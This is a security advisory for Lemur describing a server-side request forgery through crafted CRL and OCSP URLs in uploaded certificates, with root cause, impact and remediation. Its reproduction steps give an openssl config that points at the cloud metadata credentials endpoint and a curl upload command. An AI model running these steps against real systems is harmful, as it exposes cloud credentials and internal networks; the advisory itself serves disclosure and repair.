Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

point = p.full_name[0].value                          # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
    ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
     "-url", url.strip()],                            # attacker-controlled URL
    ...
)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

• Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
• On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
• Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.

2. Generate a self-signed certificate whose extensions point at internal services:

   bash

   cat > openssl.cnf <<EOF
   [req]
   distinguished_name = req_distinguished_name
   req_extensions = v3_ca
   prompt = no
   
   [req_distinguished_name]
   CN = ssrf-poc.example
   
   [v3_ca]
   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
   EOF
   
   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
       -days 365 -nodes -config openssl.cnf -extensions v3_ca

3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:

   bash

   sudo tcpdump -nni any host 169.254.169.254

4. As eve, upload the malicious certificate:

   bash

   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
   curl -X POST https://lemur.local/api/1/certificates/upload \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d "{
              \"name\": \"ssrf-poc\",
              \"body\": \"$BODY\",
              \"chain\": \"\",
              \"private_key\": \"\",
              \"owner\": \"eve@example.com\"
            }"

5. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.